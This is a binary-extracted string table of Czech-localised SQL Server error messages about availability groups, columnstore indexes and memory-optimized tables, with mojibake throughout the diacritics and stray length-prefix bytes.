4Operace %1!s! nen� povolen� konfigurac� aktu�ln� skupiny dostupnosti. Po~adovan� required_synchronized_secondaries_to_commit %2!s! je vta� ne~ %3!s!   to je v�a po
et mo~n�ch sekund�rn�ch replik dostupnosti se synchronn�m potvrzov�n�m ve skupin dostupnosti %4!s!.  ZmHte jednu z existuj�c�ch replik s asynchronn�m potvrzov�n�m na re~im dostupnosti se synchronn�m potvrzov�n�m a zkuste operaci opakovat.

(Pokus o pYid�n� 
i pYipojen� syst�mov� datab�ze %1!s! do skupiny dostupnosti se nezdaYil. Pro tuto operaci zadejte pouze u~ivatelsk� datab�ze.

�PYipojen� k prim�rn� replice nen� aktivn�. PY�kaz nelze zpracovat.

�Tento pY�kaz lze spustit pouze pro prim�rn� repliku. PYipojte se k prim�rn� replice a pY�kaz opakujte.

�PY�kaz lze spustit pouze pro sekund�rn� datab�zi. PYipojte se ke spr�vn� sekund�rn� replice a pY�kaz opakujte.

xDatab�ze %1!s! nen� ve spr�vn�m stavu, aby se mohla st�t prim�rn� datab�z�.  K pYevodu datab�ze ze stavu optovn� inicializace je nutn� obnovit protokol z pYedchoz� prim�rn� repliky.

�PYi pY�stupu k metadatom skupiny dostupnosti doalo k chyb. Odeberte tuto datab�zi 
i repliku ze skupiny dostupnosti a skupinu dostupnosti znovu nakonfigurujte, aby bylo mo~n� datab�zi 
i repliku znovu pYidat. Dala� informace naleznete v t�matu pY�kazu Transact-SQL ALTER AVAILABILITY GROUP na webu Knihy online pro SQL Server.

�Pokus o spuatn� datab�ze %1!s! se nezdaYil, proto~e datab�ze ji~ je spuatna a je online.

|PYi 
ek�n� na odezvu z jin� repliky dostupnosti v relaci byla pYekro
ena hodnota 
asov�ho limitu relace. Replika 
i s�e jsou pravdpodobn mimo provoz nebo je pY�kaz nespr�vn nakonfigurov�n. Pokud partner b~� a je viditeln� v s�ti, opakujte pY�kaz pomoc� spr�vn nakonfigurovan�ch parametro pYipojen� partnera.

 PYi odes�l�n� zpr�vy pro ID datab�ze %2!s! byla vr�cena chyba odesl�n� pro skupiny dostupnosti Always On (k�d chyby 0x%1!s!, chybn� stav). Pokud partner b~� a je viditeln� po s�ti, opakujte pY�kaz pomoc� spr�vn nakonfigurovan�ch parametro pYipojen� partnera.

@ Chyba v simul�toru HADRON

� Datab�ze %1!s! je ji~ obsa~ena v jin� skupin dostupnosti.

, PYi pokusu o obnoven� datab�ze nebyl nalezen spr�vce datab�ze dostupnosti pro ID datab�ze %1!s! s ID skupiny dostupnosti %2!s! a ID datab�ze skupiny %3!s!. Obnoven� bylo ukon
eno. Nejpravdpodobnja� pY�
inou t�to chyby je nespuatn� spr�vce skupiny dostupnosti. PY�
inou mo~e b�t i chyba metadat. OvYte, zda je spuatn spr�vce skupiny dostupnosti a cluster slu~by WSFC, a opakujte operaci obnoven�.

@ Pokus o proveden� operace skupin dostupnosti Always On pro syst�movou datab�zi %1!s! selhal. Skupiny dostupnosti Always On nepodporuj� syst�mov� datab�ze.

�Bhem f�ze vr�cen� zmn vr�tilo vol�n� funkce (%1!s!) prim�rn� replice neo
ek�van� stav (K�d: %2!s!). Vyhledejte mo~nou pY�
inu v protokolu chyb syst�mu SQL Server pro prim�rn� repliku. Pokud doalo k chyb v prim�rn� datab�zi, pravdpodobn bude nutn� pozastavit sekund�rn� datab�zi, opravit probl�m prim�rn� datab�ze a pot� datab�zi obnovit.

�Synchronizace sekund�rn� datab�ze %1!s! byla pYeruaena. Datab�ze vaak zostala v nekonzistentn�m stavu. Datab�ze bude uvedena do stavu obnoven�. Chcete-li obnoven� dokon
it a pYev�st datab�zi do re~imu online, obnovte z�znamy protokolo pYed hodnotu LSN %2!s! pomoc� z�loh aktu�ln�ho protokolu z prim�rn� datab�ze. PY�padn mo~ete tuto sekund�rn� datab�zi vyYadit a pYipravit novou datab�zi pomoc� obnoven� �pln� z�lohy prim�rn� datab�ze a obnoven�m vaech n�sleduj�c�ch z�loh protokolu.

(Synchronizace sekund�rn� datab�ze %1!s! byla pYeruaena. Datab�ze vaak zostala v nekonzistentn�m stavu. Datab�ze bude ozna
ena jako podezYel�. Chcete-li datab�zi vr�tit do konzistentn�ho stavu, obnovte ji z 
ist� z�lohy a pot� obnovte vaechny n�sleduj�c� z�lohy protokolu.

�Datab�zi dostupnosti %1!s! ve skupin dostupnosti %2!s! se nepovedlo dokon
it rekonfiguraci. Dala� informace zjist�te podle k�du chyby. Pokud s t�m budou d�l probl�my, kontaktujte spr�vce syst�mu.

4Bu byly pro proceduru sys.sp_availability_group_command_internal zad�ny neplatn� parametry, nebo u~ivatel nem� opr�vnn� ke spuatn� t�to procedury.

PYedchoz� operace RESTORE WITH CONTINUE_AFTER_ERROR 
i pokus o odebr�n� datab�ze ze skupiny dostupnosti pYi stavu podezYen� mohly zanechat datab�zi %1!s! v poakozen�m stavu. V tomto stavu nelze datab�zi pYipojit. Obnovte datab�zi a opakujte operaci pYipojen�.

�Alokace a pl�n �lohy skupin dostupnosti Always On pro datab�zi %1!s! selhaly. Obnoven� synchronizace datab�ze mo~e vy~adovat ru
n� z�sah u~ivatele. Pokud pot�~e potrvaj�, bude pravdpodobn nutn� restartovat m�stn� instanci syst�mu SQL Server.

�Automatick� pYevzet� slu~eb pYi selh�n� nen� podporovan� pro distribuovanou skupinu dostupnosti.

�Pr�v prob�h� restartov�n� datab�ze dostupnosti %1!s!, kter� se nach�z� v sekund�rn� roli, za �
elem proveden� jej� nov� synchronizace s aktu�ln� replikou prim�rn� datab�ze. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�Pokus o pYipojen� datab�ze %1!s! ke skupin dostupnosti byl prim�rn� datab�z� odm�tnut s chybou %2!s!. Dala� informace naleznete v protokolu chyb syst�mu SQL Server pro prim�rn� repliku.

�Datab�zi %1!s! nelze pYidat do skupiny dostupnosti %2!s!. Datab�ze je ji~ k zadan� skupin dostupnosti pYipojena. Zkontrolujte, zda je n�zev datab�ze spr�vn� a zda datab�ze nen� pYipojena do skupiny dostupnosti, a opakujte operaci.

�Datab�zi %1!s! nelze odebrat ze skupiny dostupnosti %2!s!. Datab�ze nen� k zadan� skupin dostupnosti pYipojena. Zkontrolujte, zda datab�ze i skupina dostupnosti maj� spr�vn� n�zev, a opakujte operaci.

�Repliku dostupnosti %1!s! nelze pYidat do skupiny dostupnosti %2!s!. Skupina dostupnosti ji~ obsahuje repliku dostupnosti se zadan�m n�zvem. Zkontrolujte, zda replika dostupnosti i skupina dostupnosti maj� spr�vn� n�zev, a opakujte operaci.

�Repliku dostupnosti %1!s! nelze odebrat ze skupiny dostupnosti %2!s!. Skupina dostupnosti neobsahuje repliku dostupnosti se zadan�m n�zvem. Zkontrolujte, zda je zadan� n�zev repliky dostupnosti spr�vn�, a opakujte operaci.

XRepliku dostupnosti %1!s! nelze odebrat ze skupiny dostupnosti %2!s!, proto~e tato replika se nach�z� v m�stn� instanci syst�mu SQL Server. Je-li m�stn� replika dostupnosti sekund�rn� replikou, pYipojte se k instanci serveru, kter� je aktu�ln hostitelem prim�rn� repliky a spusete pY�kaz znovu.

8Bude pou~ita hodnota LSN obnoven� %1!s! ulo~en� v metadatech pro datab�zi s ID %2!s!. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

�PYenosu skupin dostupnosti Always On se pro datab�zi dostupnosti %1!s! nepovedlo dekomprimovat blok protokolu s poYadov�m 
�slem polo~ky %2!s!. Tuto chybu mohl zposobit poakozen� s�eov� paket nebo neshoda verz� komprese. Replika datab�ze je pozastaven� (stav SUSPENDED). Obnovte datab�zi dostupnosti. Pokud se bude chyba vyskytovat i nad�le, zjistte z�kladn� pY�
inu probl�mu.

�PYi pou~it� protokolu skupin dostupnosti Always On na datab�zi dostupnosti %1!s! byl pYijat blok protokolu mimo poYad�. O
ek�valo se poYadov� 
�slo polo~ky %2!s!. PYialo se poYadov� 
�slo polo~ky %3!s!. Replika datab�ze je pozastaven� (stav SUSPENDED). Obnovte datab�zi dostupnosti. Pokud se bude chyba vyskytovat i nad�le, obraete se na slu~bu z�kaznick� podpory.

HOdesl�n� po~adavku na soubor %1!s! do prim�rn� datab�ze %2!s! pro m�stn� sekund�rn� datab�zi se nezdaYilo. Obnoven� datab�ze bude znovu provedeno automaticky.

Lek�n� na dokon
en� po~adavko souboru z prim�rn� datab�ze %1!s! pro m�stn� sekund�rn� datab�zi se nezdaYilo. Obnoven� datab�ze bude znovu provedeno automaticky.

0PYi prov�dn� operace s roza�Yen�mi rozvtven�mi obnoven� doalo k vnitYn� chyb. Tato zpr�va je pouze informa
n�. Nen� tYeba ~�dn� akce u~ivatele.

tPYi na
�t�n� roza�Yen�ch rozvtven� obnoven� z prim�rn� repliky doalo k chyb. PYi na
�t�n� sekund�rn� replikou byl zmnn roza�Yen� z�sobn�k rozvtven� obnoven�. Opakujte operaci.

\Z�loha protokolu pro datab�zi %1!s! v sekund�rn� replice se nezdaYila, proto~e nebylo mo~n� vytvoYit bod synchronizace v prim�rn� datab�zi. Nelze z�skat z�mky v prim�rn� datab�zi nebo datab�ze nen� spuatna jako 
�st repliky dostupnosti. Zkontrolujte stav datab�ze v protokolu chyb syst�mu SQL Server instance serveru, kter� hostuje aktu�ln� prim�rn� repliku. Pokud se datab�ze �
astn� skupiny dostupnosti, opakujte operaci.

�Z�loha protokolu pro datab�zi %1!s! v sekund�rn� replice selhala, proto~e posledn� poYadov� 
�slo LSN z�lohov�n� (0x%2!s!) z prim�rn� datab�ze je vta� ne~ aktu�ln� m�stn� poYadov� 
�slo LSN opakov�n� akce (0x%3!s!). V tuto chv�li nen� nutn� z�lohovat ~�dn� z�znamy protokolu. Opakujte operaci z�lohov�n� protokolu pozdji.

� Z�loha protokolu pro datab�zi %1!s! v sekund�rn� replice se nezdaYila, proto~e nov� informace o z�loze nelze v prim�rn� datab�ze pou~�t. Zkontrolujte stav datab�ze v protokolu chyb syst�mu SQL Server instance serveru, kter� hostuje aktu�ln� prim�rn� repliku. Pokud se datab�ze �
astn� skupiny dostupnosti, opakujte operaci.

pPY�kaz selhal, proto~e index columnstore nesm� b�t jedine
n�. VytvoYte index columnstore bez kl�
ov�ho slova UNIQUE nebo vytvoYte jedine
n� index bez kl�
ov�ho slova COLUMNSTORE.

LPY�kaz selhal, proto~e pYi tvorb indexu columnstore nen� povolen� zad�vat poYad� Yazen� (ASC nebo DESC). VytvoYte index columnstore bez zadan�ho poYad� Yazen�.

�Proveden� pY�kazu selhalo, proto~e u tabulky s clusterovan�m indexem columnstore nejde vytvoYit neclusterovan� index. Zva~te nahrazen� clusterovan�ho indexu columnstore neclusterovan�m indexem columnstore.

xProveden� pY�kazu selhalo, proto~e u tabulky s neclusterovan�m indexem nejde vytvoYit clusterovan� index columnstore. Zva~te vyYazen� vaech neclusterovan�ch indexo a zkuste to znovu.

0PY�kaz selhal, proto~e clusterovan� index columnstore nejde vytvoYit pro zobrazen�. Mo~ete vytvoYit neclusterovan� index columnstore pro zobrazen�, vytvoYit clusterovan� index columnstore pro z�kladn� tabulku nebo vytvoYit index bez kl�
ov�ho slova COLUMNSTORE pro zobrazen�.

�PY�kaz selhal, proto~e index columnstore nemo~e b�t zadan� pomoc� specifikace INDEX na �rovni sloupce.

HProveden� pY�kazu selhalo, proto~e sloupec %1!s! tabulky %2!s! je po
�tan�. Index columnstore nemo~e ani implicitn, ani explicitn zahrnovat po
�tan� sloupec.

PY�kaz selhal, proto~e index columnstore nesm� b�t filtrovan� index. Mo~ete vytvoYit index columnstore bez predik�tov�ho filtru.

�PY�kaz selhal, proto~e index columnstore nejde vytvoYit u zhuatn�ho sloupce. Mo~ete vytvoYit neclusterovan� index columnstore v podmno~in sloupco, kter� neobsahuje ~�dn� zhuatn� sloupec.

XPY�kaz selhal, proto~e indexy columnstore nejsou povolen� pro typy a promnn� tabulek. Odeberte specifikaci indexu columnstore z deklarace typu nebo promnn� tabulky.

HPY�kaz selhal, proto~e index columnstore nesm� m�t zahrnut� sloupce. VytvoYte index columnstore u po~adovan�ch sloupco, ale nezad�vejte ~�dn� zahrnut� sloupce.

�PY�kaz selhal, proto~e index columnstore nejde vytvoYit u sloupce s daty filestream. Mo~ete vytvoYit neclusterovan� index columnstore v podmno~in sloupco, kter� neobsahuje ~�dn� sloupce s daty filestream.

�PY�kaz selhal, proto~e pYi vytv�Yen� indexu columnstore nen� povolen� zadat mo~nost FILESTREAM_ON. Mo~ete vytvoYit index columnstore u sloupco bez dat filestream a vynechat mo~nost FILESTREAM_ON.

�PY�kaz selhal, proto~e index columnstore nejde vytvoYit u sady sloupco. Mo~ete vytvoYit neclusterovan� index columnstore u podmno~iny sloupco v tabulce, kter� neobsahuje sadu sloupco ani zhuatn� sloupce.

�PY�kaz selhal, proto~e index columnstore nejde vytvoYit v t�to edici SQL Serveru. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch SQL Serveru najdete v dokumentaci Knihy online.

�PY�kaz selhal, proto~e odd�ly indexu columnstore mus� b�t v souladu s odd�ly z�kladn� tabulky. VytvoYte index columnstore pomoc� stejn� funkce odd�lu a stejn�ho (nebo ekvivalentn�ho) sch�matu odd�lu, jako pou~�v� z�kladn� tabulka. Pokud z�kladn� tabulka nen� rozdlen� na odd�ly, vytvoYte index columnstore nedlen� na odd�ly.

8PY�kaz selhal, proto~e pYi vytv�Yen� indexu columnstore nen� povolen� zadat mo~nost %1!s!. Mo~ete vytvoYit index columnstore bez zad�n� mo~nosti %2!s!.

 PY�kaz selhal, proto~e mo~nost %1!s! nen� pYi vytv�Yen� indexu columnstore povolen�. VytvoYte index columnstore bez zad�n� mo~nosti %2!s!.

�Mo~nost DATA_COMPRESSION tabulky nen� povolen�, pokud tabulka ur
uje clusterovan� index �lo~iat sloupco.

�Indexy �lo~iat sloupco nejsou povolen� pro tabulky, pro kter� je zadan� mo~nost st�losti SCHEMA_ONLY.

�Tabulka %1!s! pou~�v� clusterovan� index columnstore. Indexy columnstore nejsou na t�to �rovni slu~by datab�ze podporov�ny. Dala� informace o podpoYe funkc� na jin�ch �rovn�ch slu~eb Windows Azure SQL Database najdete v v t�matu Knihy online.

4PY�kaz selhal, proto~e neclusterovan� index a podkladov� clusterovan� index columnstore mus� b�t v souladu s odd�ly. Doporu
ujeme vytvoYit neclusterovan� index pomoc� stejn� funkce odd�lo a stejn�ho (nebo ekvivalentn�ho) sch�matu odd�lo, jako m� clusterovan� index columnstore.

�PY�kaz selhal, proto~e pYid�n� najdenou v�ce sloupco, kter� maj� typ s generovanou hodnotou (jako napY�klad typy identity nebo uniqueidentifier), se pro index columnstore nepodporuje. Doporu
ujeme pYidat generovan� sloupce samostatn.

�PY�kaz selhal, proto~e pYi vytv�Yen� indexu columnstore bez klauzule ORDER nen� povolen� zadat mo~nost SORT_IN_TEMPDB. Doporu
ujeme vytvoYit index columnstore bez zad�n� mo~nosti SORT_IN_TEMPDB nebo ho pou~�t s klauzul� ORDER.

�PY�kaz selhal, proto~e nejde zmnit definici sloupce, kter� patY� do clusterovan�ho indexu columnstore. Mo~ete vyYadit index columnstore, zmnit sloupec a pak vytvoYit nov� index columnstore.

0PY�kaz selhal, proto~e neclusterovan� index columnstore nejde znovu uspoY�dat. Optovn� uspoY�d�n� neclusterovan�ho indexu columnstore nen� nutn�.

�PY�kaz ALTER INDEX REBUILD se nezdaYil, proto~e pYi optovn�m sestavov�n� indexu columnstore nen� povoleno zadat mo~nost %1!s!. Znovu sestavte index columnstore bez zad�n� mo~nosti %2!s!.

tPY�kaz ALTER INDEX REBUILD se nezdaYil, proto~e mo~nost %1!s! nen� pYi optovn�m sestavov�n� indexu columnstore povolena. Znovu sestavte index columnstore bez zad�n� mo~nosti %2!s!.

\PY�kaz selhal, proto~e pYi vytv�Yen� indexu rowstore %1!s! na tabulce %2!s! nen� povoleno zadat mo~nost ORDER. Mo~ete vytvoYit index rowstore bez zad�n� mo~nosti ORDER .

�PY�kaz %1!s! se nezdaYil, proto~e data nelze aktualizovat v tabulce, kter� obsahuje neclusterovan� index columnstore. PYed spuatn�m pY�kazu %2!s! mo~ete zak�zat index columnstore a po dokon
en� pY�kazu %3!s! pak index columnstore znovu sestavit.

�V seznamu sloupco ORDER nen� mo~n� pou~�vat duplicitn� n�zvy sloupco. N�zev sloupce %1!s! je uveden� v�ce ne~ jednou.

�Nen� mo~n� prov�st operaci ORDER pro v�c ne~ tento po
et sloupco: %1!s!.

�PY�kaz DBCC DBREINDEX se nezdaYil, proto~e pYi vytv�Yen� nebo optovn�m sestaven� indexu columnstore nen� povolena mo~nost FILLFACTOR. Znovu sestavte index columnstore bez zad�n� mo~nosti FILLFACTOR.

dPY�kaz selhal, proto~e pYi vytv�Yen� clusterovan�ho indexu columnstore nen� povolen� zadat seznam kl�
o. VytvoYte clusterovan� index columnstore bez zadan�ho seznamu kl�
o.

�PY�kaz selhal, proto~e pYi vytv�Yen� indexu chyb� ur
uj�c� seznam kl�
o. VytvoYte index s ur
uj�c�m seznamem kl�
o.

xPY�kaz UPDATE STATISTICS se nezdaYil, proto~e statistiku v indexu columnstore nelze aktualizovat. PY�kaz UPDATE STATISTICS je platn� pouze tehdy, je-li pou~it s mo~nost� STATS_STREAM.

hClusterovan� index columnstore nen� podporov�n.

lNepodporuje se pou~�v�n� v�ce indexo columnstore.

dSloupce LOB jsou v �lo~iati sloupco zak�zan�.

DPY�kaz se nepovedl. Index columnstore nesm� obsahovat desetinn� ani 
�seln� datov� typ s pYesnost� vta� ne~ 18. Sni~te pYesnost nebo vynechte sloupec %1!s!.

PY�kaz selhal, proto~e zad�n� mo~nosti ORDER nen� platn� volba pro vytvoYen� neclusterovan�ho indexu columnstore %1!s! na tabulce %2!s!. Doporu
ujeme vytvoYit neclusterovan� index columnstore bez ur
en� mo~nosti ORDER nebo vytvoYit clusterovan� index columnstore.

�PY�kaz selhal. Sloupec %1!s! m� datov� typ, kter� nemo~e b�t sou
�st� indexu �lo~iat sloupco.

XMERGE clause of ALTER PARTITION statement failed because two nonempty partitions containing a columnstore index cannot be merged. Consider an ALTER TABLE SWITCH operation from one of the nonempty partitions on the source table to a temporary staging table and then re-attempt the ALTER PARTITION MERGE operation. Once completed, use ALTER TABLE SWITCH to move the staging table partition back to the original source table.

�MERGE clause of ALTER PARTITION statement failed because two partitions on different filegroups cannot be merged if either partition contains columnstore index data. Consider dropping the columnstore index before issuing the ALTER PARTITION statement, then rebuilding the columnstore index after ALTER PARTITION is complete.

�SPLIT clause of ALTER PARTITION statement failed because the partition is not empty.  Only empty partitions can be split in when a columnstore index exists on the table. Consider an ALTER TABLE SWITCH operation from one of the nonempty partitions on the source table to a temporary staging table and then re-attempt the ALTER PARTITION SPLIT operation. Once completed, use ALTER TABLE SWITCH to move the staging table partition back to the original source table.

dUlo~en� procedura sp_tableoption selhala, proto~e tabulku s indexem columnstore nejde zmnit tak, aby pou~�vala form�t �lo~iat vardecimal. Mo~ete vyYadit index columnstore.

�PY�kaz selhal, proto~e tabulka %1!s! pou~�v� form�t �lo~iat vardecimal. Index columnstore nejde vytvoYit v tabulce pou~�vaj�c� �lo~iat vardecimal. Mo~ete tabulku znovu sestavit bez �lo~iat vardecimal.

|PY�kaz TRUNCATE TABLE se nezdaYil, proto~e tabulka %1!s! obsahuje index columnstore. Tabulku s indexem columnstore nelze zkr�tit. Mo~ete vyYadit index columnstore a pak tabulku zkr�tit.

�PY�kaz selhal, proto~e odd�ly indexu columnstore v tabulce rozdlen� na odd�ly mus� b�t v souladu s odd�ly z�kladn� tabulky. PYed vytvoYen�m nov�ho clusterovan�ho indexu mo~ete index columnstore vyYadit.

�PY�kaz DROP INDEX se nezdaYil, proto~e odd�ly indexu columnstore v tabulce rozdlen� na odd�ly mus� b�t v souladu s odd�ly z�kladn� tabulky (halda). Mo~ete vyYadit index columnstore pYed vyYazen�m clusterovan�ho indexu.

�PY�kaz %1!s! se nezdaYil, proto~e operaci nelze na tabulce s indexem columnstore prov�st online. Provete operaci bez zad�n� mo~nosti ONLINE nebo pYed proveden�m operace s pou~it�m mo~nosti ONLINE vyYate (
i zaka~te) index columnstore.

(Mo~nost %1!s! nelze povolit v tabulce s clusterovan�m indexem columnstore. Mo~ete vyYadit clusterovan� index columnstore %2!s! v tabulce %3!s!.

�PY�kaz selhal, proto~e clusterovan� index columnstore nejde vytvoYit v tabulce, kter� je povolen� pro mo~nost %1!s!. Mo~ete zak�zat mo~nost %2!s! a pak vytvoYit clusterovan� index columnstore.

�PY�kaz selhal. Sloupec %1!s! je bu prim�rn� kl�
, nebo kl�
 rozdlen� do odd�lo, kter� mus� b�t zahrnut�, ale index �lo~iat sloupco nesm� obsahovat desetinn� ani 
�seln� datov� typ s pYesnost� veta� ne~ 18. Sni~te pYesnost na 18.

4Tato operace nen� u neclusterovan�ch indexo columnstore vytvoYen�ch v dY�vja�ch verz�ch SQL Serveru podporovan�. Doporu
ujeme vytvoYit index znovu.

XPY�kaz selhal, proto~e sekund�rn� slovn�k dos�hl maxim�ln� velikosti. Mo~ete zkusit vyYadit index columnstore, zmnit sloupec a potom vytvoYit nov� index columnstore.

 PY�kaz CREATE INDEX v tabulce %1!s! se nezdaYil, proto~e v tabulce s clusterovan�m indexem columnstore nelze vytvoYit aktiva
n� ud�lost. Zkuste vynutit logiku aktiva
n� ud�losti jin�m zposobem. Pokud mus�te pou~�t aktiva
n� ud�lost, pou~ijte index heap nebo B-strom.

�PY�kaz selhal, proto~e tabulka s clusterovan�m indexem columnstore nesm� obsahovat aktiva
n� ud�losti. Zkuste z tabulky odebrat vaechny aktiva
n� ud�losti a pak vytvoYit clusterovan� index columnstore.

�Referen
n� omezen� %1!s! nelze vytvoYit, proto~e tabulka %2!s! %3!s! m� clusterovan� index columnstore.

�PY�kaz selhal. U odkazuj�c�ho sloupce %1!s! v tabulce %2!s! nejde vytvoYit clusterovan� index columnstore.

�PY�kaz selhal, proto~e clusterovan� indexy columnstore nejsou v syst�mov�ch datab�z�ch podporovan�.

�Mo~nost COMPRESSION_DELAY pY�kazu ALTER INDEX jde pou~�t jenom s indexy columnstore.

�Hlavi
ka komprimovan�ho bloku u odsazen� %1!s! je neplatn�.

hHlavi
ka blobu columnstore Xpress je neplatn�.

xHlavi
ka objektu blobu columnstore Xpress je neplatn�.

�VnitYn� chyba operace DDL: Bhem zpracov�n� jazyka DDL doalo k neo
ek�van� chyb %1!s! (HRESULT = 0x%2!s!).

�PY�kaz GETCHECKSUM nelze pou~�t pro tabulku s clusterovan�m indexem columnstore.

�Kurzory nejsou v tabulce s clusterovan�m indexem columnstore podporov�ny.

��roveH izolace SNAPSHOT nen� v tabulce s clusterovan�m indexem columnstore podporov�na.

4Pro %1!s! %2!s! nelze vytvoYit v�ce ne~ jeden clusterovan� index. Mo~ete vytvoYit nov� clusterovan� index pomoc� mo~nosti with (drop_existing = on).

<PY�kaz ALTER INDEX REORGANIZE se v clusterovan�m indexu columnstore nezdaYil s chybou %1!s!. Dala� informace naleznete v pYedchoz�ch chybov�ch zpr�v�ch.

�Dekomprimace archivu columnstore se nezdaYila s chybou %1!s!.

�Mo~nost COMPRESS_ALL_ROW_GROUPS pY�kazu ALTER INDEX REORGANIZE lze pou~�t pouze v clusterovan�ch indexech columnstore.

�Funkci stvf pYesunu Yazen� kolekce 
leno byly pYed�ny neplatn� argumenty.

�Skupin�m Y�dko funkce STVF byly pYed�ny neplatn� argumenty.

�PYi vyprazdHov�n� vyrovn�vac� pamti odstrann� (ID datab�ze: %1!s!, ID tabulky: %2!s!, ID indexu: %3!s!, 
�slo odd�lu: %4!s!) doalo k vnitYn� chyb. V�c informac� mo~ete zjistit z dala�ch zpr�v v protokolu chyb SQL Serveru.

�Neclusterovan� index columnstore %1!s! pro tabulku %2!s! nen� mo~n� kvoli aktivn� transakci sn�mku reorganizovat.

lHlavi
ka slovn�ku blobu columnstore je neplatn�.

�Zadan� hodnota COMPRESSION_DELAY (%1!s!) je neplatn�. Platn� hodnota pro tabulky na disku je mezi 0 a 10080 minutami a pro pameov optimalizovan� tabulky mus� b�t bu 0, nebo le~et mezi 60 a 10080 minutami.

�PYi pYid�v�n� sloupco do indexu columnstore nen� pou~it� u~ivatelem definovan� funkce ve v�choz�ch omezen�ch povolen�.

�PY�kaz selhal, proto~e sloupec %1!s! tabulky %2!s! je sloupec LOB. Neclusterovan� index se sloupcem LOB jako vlo~en�m sloupcem nemo~e spole
n existovat s clusterovan�m indexem columnstore.

xNejde pYidlit %1!s! kB pamti pro kompresi columnstore, proto~e to pYesahuje zb�vaj�c� mno~stv� z celkov� pamti pYidlen� pro aktu�ln� tY�du prostYedku a DWU. Spusete pros�m dotaz znova ve vyaa� tY�d prostYedko a tak� zva~te, zda nezv�ait DWU. Pomoc najdete na adrese https://aka.ms/sqldw_columnstore_memory.

�TEMPDB doael voln� prostor bhem pYesouv�n�. Zkontrolujte, ~e jsou data rovnomrn distribuovan�, a pY�padn upravte dotaz tak, aby vyu~�val m�n Y�dko. Pokud probl�m st�le pYetrv�v�, zva~te pYechod na vyaa� �roveH slu~by.

�PY�kaz selhal, proto~e sloupec %1!s! na tabulce %2!s! je trval� vypo
�tan� sloupec. PYid�n� trval�ho vypo
�tan�ho sloupce do existuj�c�ho clusterovan�ho indexu columnstore nen� podporov�no.

8PY�kaz selhal, proto~e sloupec %1!s! na tabulce %2!s! je vypo
�tan� slupec typu LOB. Indexy columnstore nemohou zahrnovat vypo
�tan� sloupce typu LOB.

Vypo
�tan� sloupce v indexech columnstore jsou do
asn zak�z�ny. PYepiate pros�m svoj dotaz tak, abyste vylou
ili vypo
�tan� sloupce.

�Nepovedlo se sestavit nebo optovn sestavit index columnstore %1!s! online, proto~e dan� tabulka obsahuje sekund�rn� indexy. Provete pros�m tuto operaci offline, nebo odeberte sekund�rn� indexy a zkuste to znovu.

�PY�kaz selhal, proto~e sloupec %1!s! na tabulce %2!s! je vypo
�tan� sloupec. Neclusterovan� index s vypo
�tan�m sloupcem jako kl�
ov�m nebo zahrnut�m sloupcem nejde vytvoYit na tabulce, kter� m� clusterovan� index columnstore.

�Testy jednotky pYesunu Yazen� kolekce 
leno columnstore nejde spouatt pod hlavn� datab�z�.

0Transakce %1!s! dos�hla %2!s! vyu~it�ch bajto protokolu a %3!s! rezervovan�ch bajto protokolu. Z dovodu minimalizace vyu~it� protokolu bylo vytvoYeno %4!s! suboptim�ln�ch skupin Y�dko, co~ nen� povoleno, proto~e to sni~uje kvalitu indexu. Spusete pros�m dotaz znovu na vyaa� tY�d prostYedko a tak� zva~te, zda nezv�ait DWU. Tak� v�m mo~e pomoci 
l�nek na adrese https://aka.ms/sqldw_columnstore_memory.

pTransakce %1!s! dos�hla %2!s! pou~it�ch bajto protokolu a %3!s! rezervovan�ch bajto protokolu. S c�lem minimalizovat vyu~it� protokolu byly vytvoYeny nepYesn� skupiny Y�dko ( %4!s!), co~ nen� povoleno, proto~e to ohro~uje kvalitu indexu. Spusete znovu dotaz a pou~ijte v�ce pamti (zmHte nastaven� spr�vce zdrojo nebo upgradujte na vyaa� SLO) nebo, pokud je c�lov� tabulka rozdlen� na odd�ly, pou~ijte pro c�l v na
ten� m�n odd�lo.

|Efektivn� DOP %1!s! je pro kompresi columnstore v tabulce s ID %2!s! pY�lia velk�, proto~e ka~d� vl�kno m� pro kompresi pouze %3!s! KB. Zkuste to znovu a pou~ijte MAXDOP ke sn�~en� DOP.

(PY�kaz %1!s! selhal, proto~e tuto operaci nejde prov�st na tabulce s indexem columnstore obnoviteln�m (RESUMABLE) zposobem. Provete operaci bez zad�n� mo~nosti RESUMABLE nebo pYed proveden�m operace s pou~it�m mo~nosti RESUMABLE vyYate (nebo zaka~te) index columnstore.

�Operace indexu columnstore selhala. Obraete se na z�kaznickou podporu spole
nosti Microsoft.

sekvence

8CloudDB Async Transport

LCloudDB Async Transport Forwarder

funkce

operace

pY�kaz

(mo~nost indexu

(mo~nost tabulky

oper�tor

hodnota

,syst�mov� sloupec

,nastaven� mo~nost

8pomocn� parametr dotazu

<�roveH izolace transakce

(index v pamti

federace

0distribuce federace

0syst�mov� datab�ze

8datab�ze 
lena federace

<datab�ze ne
lena federace

@koYenov� datab�ze federace

klauzule

4podpisov� algoritmus

tabulka

<pomocn� parametr spojen�

HNelze pYidlit vl�kno obnoven�.

@V�jimka ve vl�knu obnoven�

`Propojen� s hostitelem odd�lu ji~ existuje.

dDatab�ze odd�lo byla ozna
ena jako podezYel�.

hNepodaYilo se z�skat atributy datab�ze odd�lo.

(Hostitel odd�lu

Lpameov optimalizovan�ch tabulek

Dnativn kompilovan�ch modulo

dindexo v pameov optimalizovan�ch tabulk�ch

 indexo hash

�transakc�, kter� pYistupuj� k pameov optimalizovan�m tabulk�m nebo nativn kompilovan�m modulom,

pdatab�z� se skupinou souboro MEMORY_OPTIMIZED_DATA

 zkracov�n�

zah�jen�

ukon
en�

Ttypy pameov optimalizovan� tabulky

$clusterovan�

(neclusterovan�

$BUCKET_COUNT

0z�sady zabezpe
en�

�pameov optimalizovan� tabulky, kter� maj� index �lo~iat sloupco

Xnativn kompilovan� aktiva
n� ud�losti

@Upgradovat datab�zi Hekaton

�pameov optimalizovan� tabulky se sloupci maxim�ln� d�lky

|sloupce maxim�ln� d�lky v�nativn kompilovan�ch modulech

,definice sloupce

povolen�

zak�zan�

Hpameov optimalizovan� tabulka

<nativn kompilovan� modul

modul

,extern� zdroj dat

lKlauzule OUTPUT v nativn kompilovan�ch modulech

hsch�mata obsahuj�c� nativn kompilovan� moduly

`change_tracking_hardened_cleanup_version()

8safe_cleanup_version()

<ochrana aifrov�n� serveru

RESUMABLE

$MAX_DURATION

lObjekt %1!s! %2!s! v t�to datab�zi ji~ existuje.

